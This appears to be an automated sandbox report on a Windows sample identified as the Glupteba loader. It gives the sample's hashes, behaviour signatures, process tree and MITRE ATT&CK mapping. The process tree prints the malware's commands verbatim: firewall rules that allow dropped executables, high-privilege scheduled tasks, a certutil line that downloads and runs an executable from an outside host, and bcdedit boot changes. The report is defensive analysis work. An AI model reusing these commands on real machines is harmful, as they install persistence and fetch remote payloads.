Analysis
- max time kernel
144s - max time network
146s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
- submitted
01/06/2024, 22:21
General
- Target 8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
- Size 3.8MB
- Sample240601-19rxgshd53
- SHA256 92f658b313e509147deebb1f168ee8cc1e979c9abc1be9000025ac3e10e7e8bf
Malware Config
Signatures
- Glupteba
Glupteba is a modular loader written in Golang with various components.
- Glupteba payload 18 IoCs
- Modifies Windows Firewall 2 TTPs 2 IoCs
- Executes dropped EXE 2 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
- Modifies boot configuration data using bcdedit 1 IoCs
- Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
- Drops file in Windows directory 2 IoCs
- Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Modifies data under HKEY_USERS 64 IoCs
- Suspicious behavior: EnumeratesProcesses 8 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 13 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe"2⤵
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\fe34be23e474\fe34be23e474\fe34be23e474.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\fe34be23e474\fe34be23e474\fe34be23e474.exe" enable=yes4⤵
- Modifies Windows Firewall
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Manipulates WinMonFS driver.
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
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C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://hotbooks.tech/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
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C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4356,i,4686244434963378549,11462511444150484980,262144 --variations-seed-version --mojo-platform-channel-handle=1040 /prefetch:81⤵
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Replay Monitor
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Downloads
patch.exe
csrss.exe
memory/512-4-0x0000000000400000-0x000000000313B000-memory.dmp
memory/512-5-0x0000000000400000-0x0000000000B10000-memory.dmp
memory/512-6-0x0000000003AD0000-0x00000000041C6000-memory.dmp
memory/512-1-0x0000000003720000-0x0000000003ACA000-memory.dmp
memory/512-3-0x0000000000400000-0x0000000000B10000-memory.dmp
memory/512-2-0x0000000003AD0000-0x00000000041C6000-memory.dmp
memory/4352-8-0x0000000000400000-0x000000000313B000-memory.dmp
memory/4352-9-0x0000000000400000-0x000000000313B000-memory.dmp
memory/4352-14-0x0000000000400000-0x000000000313B000-memory.dmp
memory/4372-19-0x0000000000400000-0x000000000313B000-memory.dmp
memory/4372-20-0x0000000000400000-0x000000000313B000-memory.dmp
memory/4372-21-0x0000000000400000-0x000000000313B000-memory.dmp
memory/4372-22-0x0000000000400000-0x000000000313B000-memory.dmp
memory/4372-23-0x0000000000400000-0x000000000313B000-memory.dmp
memory/4372-25-0x0000000000400000-0x000000000313B000-memory.dmp
memory/4372-26-0x0000000000400000-0x000000000313B000-memory.dmp
memory/4372-27-0x0000000000400000-0x000000000313B000-memory.dmp
memory/4372-29-0x0000000000400000-0x000000000313B000-memory.dmp
memory/4372-30-0x0000000000400000-0x000000000313B000-memory.dmp
memory/4372-31-0x0000000000400000-0x000000000313B000-memory.dmp